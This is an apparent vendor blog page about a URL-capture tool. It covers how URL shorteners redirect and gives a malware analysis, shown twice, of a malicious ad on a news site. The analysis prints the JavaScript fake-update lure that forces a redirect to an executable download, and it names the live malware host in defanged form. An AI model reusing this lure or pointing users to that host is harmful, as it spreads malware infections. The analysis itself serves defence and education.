Twitter users in particular are bombarded daily with a plethora of shortened URLs. Shortened URLs are especially useful on Twitter because really long URLs like http://netscantools.blogspot.com/2011/01/addressing-confusion.html are tough to fit into 140 characters and somehow retain a meaningful message. Those long URLs can be shortened up into something like http://tinyurl.com/37dnopw. While convenient, they do present a security risk. Not only can a URL to an informative article be shortened, but so can a URL to a page full of malware be hidden by the shortened URL. How can you know where that URL goes?
The methodology of shortened URLs is fairly straightforward. When you access the shortened URL, the shortened URL provider's web server sends back a HTTP 301 Moved Permanently message with the new location URL. You can clearly see it in the two examples below - I used NetScanTools Pro's URL Capture to grab the text. Your web browser will not show these hidden headers and it will act on them before you have a chance to think about the final target URL. That's why I used the tool in NetScanTools Pro - it grabs only the text and does not accept anything else like scripts or images.
This first methodology used by tinyurl.com is the simplest. It only sends back the 301 redirect message.
Starting Timestamp: 01/06/11 22:06:18
Input URL: http://tinyurl.com/37dnopw
Web server IPv4 address: 195.66.135.140
***###Received Web Page text begins after this line###***
HTTP/1.0 301 Moved Permanently
Location: http://netscantools.blogspot.com/2011/01/addressing-confusion.html
X-tiny: cache 0.00097513198852539
Content-type: text/html
Content-Length: 0
Connection: close
Date: Fri, 07 Jan 2011 06:05:40 GMT
Server: TinyURL/1.6
The next methodology used by the bit.ly URL shortening service is a bit more involved. Not only does it send back the HTTP 301 moved message, but they also provide a web page with the embedded redirected target link just in case the web browser does not follow the 301 command.
Starting Timestamp: 01/06/11 22:06:40
Input URL: http://bit.ly/i9TxQY
Web server IPv4 address: 128.121.254.205
***###Received Web Page text begins after this line###***
HTTP/1.1 301 Moved
Server: nginx/0.7.67
Date: Fri, 07 Jan 2011 06:06:01 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: _bit=4d26ad49-003c1-00673-b3a08fa8;domain=.bit.ly;expires=Wed Jul 6 02:06:01 2011;path=/; HttpOnly
Cache-control: private; max-age=90
Location: http://www.us-cert.gov/current/index.html#apple_releases_mac_os_x4
MIME-Version: 1.0
Content-Length: 328
...web page omitted...
There are plugins for Firefox and other browsers which do that first step of contacting the URL shortening server, then they present the final target to you - and it's your decision as to whether to continue. I have showed the mechanism and how to use our software to see this. Not only is this text only URL capture tool in NetScanTools Pro, it is also in NetScanTools LE (law enforcement).
Be careful!
Showing posts with label URL Capture. Show all posts
Showing posts with label URL Capture. Show all posts
Thursday, January 6, 2011
Thursday, September 17, 2009
New Video Posted
Yesterday we posted a new video covering how to use most of the features in the NetScanTools Pro URL Capture Tool. We address using the tool to safely view the text that makes up a web page - remember, we do not execute scripts or any other active code found in the web page. We also show how it can be used to display the actual destination URL of those shortened URLs popularized by Twitter. And we also show how to use it with a multiple site, single IP web server.
This new video and other demonstration videos are found on this page:
http://www.netscantools.com/videos.html
This new video and other demonstration videos are found on this page:
http://www.netscantools.com/videos.html
Friday, March 13, 2009
Malware attack avoided
And now something appropriate for Friday the 13th!
Last weekend I was checking the news on a few sites using fully patched IE6 on XP when I went to my local major news site. Before the page finished loading, I saw this message in a standard popup dialog box with OK and Cancel:
"For the further viewing of page it's needed to set an update.
To update it immediately press OK."
Immediate strongly suspicious (the POOR English was also a clue), I looked on the lower left bar of IE and saw "84654321(dot)cn/vparivatel.php" (I replaced the period with dot so you won't accidentally click on it -- DO NOT go to that URL -- it's still alive). The CN extension was enough for me to know that something no good was happening. I quickly wrote it down and used Task Manager to kill iexplore.exe. Then I restarted and cleaned out IE's cache.
Killing IE is the best way to deal with things like this because as you will discover below, hitting Cancel was just as bad as hitting OK on that dialog box.
Next, I fired up NetScanTools Pro and went to URL Capture. This tool brings in the text from a website and does not run scripts or download images. It simply downloads the raw text and displays it. So I entered the URL and retrieved it. Inside the script tags was this:
function last(){
if (confirm('\nFor the further viewing of page it\'s needed to set an update.\nTo update it immediately press OK.'))
{
parent.location='?a';
}
else{
parent.location='?a';
}
}
last();
You can see that whether you press OK or Cancel or red X, it appends ?a to the URL and activates it. So next I used URL Capture to do just that, manually of course. And guess what, MALWARE. Here is the start of what comes back:
Server: Apache/2
X-Powered-By: PHP/5.2.8
Accept-Ranges: bytes
Content-Length: 43241
Content-Disposition: inline; filename=1.exe
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/octet-stream
MZ followed by lots of barely printable characters, then part of a regular webpage.
MZ are the first two characters of an executable Windows file, and IE was being told that it was an application. So if I had not killed IE, it would have infected my computer with this executable. Needless to say I contacted the news site webmaster, but they didn't reply. I suspect it came through an ad that was rotated through.
Don't go to that URL because if you do, you will get this MALWARE executable -- it is still alive today.
Searches on 1.exe and vparivatel reveal that it does something similar to that other MALWARE I reported on where there is a forced redirect (hijack) to a bogus AV or security product.
The moral of all this is that you can get these things even from what you think are trusted sites. If those sites are running ads from other 3rd parties, you cannot totally trust the site. And the second thing is to kill your browser with Task Manager rather than trying to shut it down normally -- oh and don't forget to clean the browser's cache -- immediately.
Last weekend I was checking the news on a few sites using fully patched IE6 on XP when I went to my local major news site. Before the page finished loading, I saw this message in a standard popup dialog box with OK and Cancel:
"For the further viewing of page it's needed to set an update.
To update it immediately press OK."
Immediate strongly suspicious (the POOR English was also a clue), I looked on the lower left bar of IE and saw "84654321(dot)cn/vparivatel.php" (I replaced the period with dot so you won't accidentally click on it -- DO NOT go to that URL -- it's still alive). The CN extension was enough for me to know that something no good was happening. I quickly wrote it down and used Task Manager to kill iexplore.exe. Then I restarted and cleaned out IE's cache.
Killing IE is the best way to deal with things like this because as you will discover below, hitting Cancel was just as bad as hitting OK on that dialog box.
Next, I fired up NetScanTools Pro and went to URL Capture. This tool brings in the text from a website and does not run scripts or download images. It simply downloads the raw text and displays it. So I entered the URL and retrieved it. Inside the script tags was this:
function last(){
if (confirm('\nFor the further viewing of page it\'s needed to set an update.\nTo update it immediately press OK.'))
{
parent.location='?a';
}
else{
parent.location='?a';
}
}
last();
You can see that whether you press OK or Cancel or red X, it appends ?a to the URL and activates it. So next I used URL Capture to do just that, manually of course. And guess what, MALWARE. Here is the start of what comes back:
Server: Apache/2
X-Powered-By: PHP/5.2.8
Accept-Ranges: bytes
Content-Length: 43241
Content-Disposition: inline; filename=1.exe
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/octet-stream
MZ followed by lots of barely printable characters, then part of a regular webpage.
MZ are the first two characters of an executable Windows file, and IE was being told that it was an application. So if I had not killed IE, it would have infected my computer with this executable. Needless to say I contacted the news site webmaster, but they didn't reply. I suspect it came through an ad that was rotated through.
Don't go to that URL because if you do, you will get this MALWARE executable -- it is still alive today.
Searches on 1.exe and vparivatel reveal that it does something similar to that other MALWARE I reported on where there is a forced redirect (hijack) to a bogus AV or security product.
The moral of all this is that you can get these things even from what you think are trusted sites. If those sites are running ads from other 3rd parties, you cannot totally trust the site. And the second thing is to kill your browser with Task Manager rather than trying to shut it down normally -- oh and don't forget to clean the browser's cache -- immediately.
Subscribe to:
Posts (Atom)